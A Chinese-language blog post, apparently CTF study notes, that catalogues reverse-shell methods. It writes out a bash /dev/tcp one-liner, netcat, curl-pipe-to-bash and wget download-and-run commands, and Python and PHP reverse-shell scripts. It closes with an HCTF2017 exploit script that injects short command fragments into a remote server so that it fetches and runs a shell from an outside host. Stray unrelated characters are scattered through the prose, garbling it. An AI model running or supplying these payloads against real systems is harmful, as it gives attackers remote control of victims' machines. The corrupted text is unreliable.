最近在做ctf題時(shí)碰到一些命令執(zhí)行題借用命令執(zhí)行來(lái)反彈shell,這里記錄一下禽炬。
1.bash反彈shell
個(gè)人感覺(jué)bash反彈是最簡(jiǎn)單涧卵、也是最常見(jiàn)的一種。
bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
bash一句話(huà)命令詳解
以下針對(duì)常用的bash反彈一句話(huà)進(jìn)行了拆分說(shuō)明腹尖,具體內(nèi)容如下柳恐。
其實(shí)以上bash反彈一句完整的解讀過(guò)程就是:
bash產(chǎn)生了一個(gè)交互環(huán)境與本地主機(jī)主動(dòng)發(fā)起與目標(biāo)主機(jī)8080端口建立的連接(即TCP 8080 會(huì)話(huà)連接)相結(jié)合,然后在重定向個(gè)tcp 8080會(huì)話(huà)連接热幔,最后將用戶(hù)鍵盤(pán)輸入與用戶(hù)標(biāo)準(zhǔn)輸出相結(jié)合再次重定向給一個(gè)標(biāo)準(zhǔn)的輸出乐设,即得到一個(gè)bash 反彈環(huán)境。
在反彈shell時(shí)要借助netcat工具反彈
Netcat 一句話(huà)反彈:Netcat反彈也是非常常用的方法绎巨,只是這個(gè)方法需要我們手動(dòng)去安裝一個(gè)NC環(huán)境
開(kāi)啟外網(wǎng)主機(jī)監(jiān)聽(tīng)
root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...
kali : 192.168.20.151
centos:192.168.20.130
先用kali開(kāi)啟監(jiān)聽(tīng):
然后centos執(zhí)行bash一句話(huà)近尚。
成功反彈。
2.netcat 一句話(huà)反彈
~ nc 192.168.31.151 7777 -t /bin/bash
命令詳解:通過(guò)webshell我們可以使用nc命令直接建立一個(gè)tcp 8080 的會(huì)話(huà)連接场勤,然后將本地的bash通過(guò)這個(gè)會(huì)話(huà)連接反彈給目標(biāo)主機(jī)(192.168.31.151)戈锻。
先開(kāi)啟監(jiān)聽(tīng)7777端口。
交互式反彈
3.curl反彈shell
前提要利用bash一句話(huà)的情況下使用curl反彈shell
在存在命令執(zhí)行的服務(wù)器上執(zhí)行curl ip|bash
和媳,該ip的index文件上含有bash一句話(huà)格遭,就可以反彈shell。
例如在自己的服務(wù)器index上寫(xiě)上一句話(huà)
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
192.168.20.151就是作為監(jiān)聽(tīng)端口的服務(wù)器用來(lái)得到反彈的shell留瞳。
存在一句話(huà)拒迅,利用curl反彈。
kali開(kāi)啟監(jiān)聽(tīng)
4.wget方式反彈
利用wget進(jìn)行下載執(zhí)行
wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php
利用下面貼出的php進(jìn)行反彈撼港。
開(kāi)啟監(jiān)聽(tīng)
成功反彈shell
5.其他腳本反彈
python反彈
開(kāi)啟kail監(jiān)聽(tīng)
反彈成功坪它。
py腳本
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost為自己的外網(wǎng)ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
php反彈
開(kāi)啟kail監(jiān)聽(tīng)端口,
成功反彈帝牡,不過(guò)這里要將php保存成txt文件進(jìn)行反彈往毡,若為php文件不會(huì)反彈成功。
php腳本:
<?php
$sock=fsockopen("192.168.20.151",7777);//localhost為自己的外網(wǎng)ip靶溜,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>
ctf遇到的命令執(zhí)行反彈shell
HCTF2017的一道
這道題大概意思就是存在命令執(zhí)行开瞭,但單次輸入字符不得大于5懒震。因此利用linux下特有的命令來(lái)寫(xiě)入shell反彈。原理就是利用curl ip|bash等很多方式去反彈shell嗤详。網(wǎng)上很多教程具體就不說(shuō)了个扰。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
在自己服務(wù)器中放入bash一句話(huà),利用curl ip|bash反彈shell
開(kāi)啟監(jiān)聽(tīng)葱色,執(zhí)行后可反彈shell递宅。
利用linux文件寫(xiě)入技巧得到
ls -t >g是倒序輸出文件名字,然后sh _執(zhí)行此文件苍狰,寫(xiě)入到g中
可以看到該文件有curl xx.x.x.x|bash字符办龄,在linux下輸入任意一個(gè)字符后加\是不會(huì)中斷當(dāng)前操作,可以繼續(xù)輸入內(nèi)容淋昭。而后面沒(méi)有\(zhòng)則會(huì)中斷俐填,而sh可以在報(bào)錯(cuò)的情況下依然會(huì)執(zhí)行可以執(zhí)行的命令,因此不會(huì)影響curl的執(zhí)行翔忽。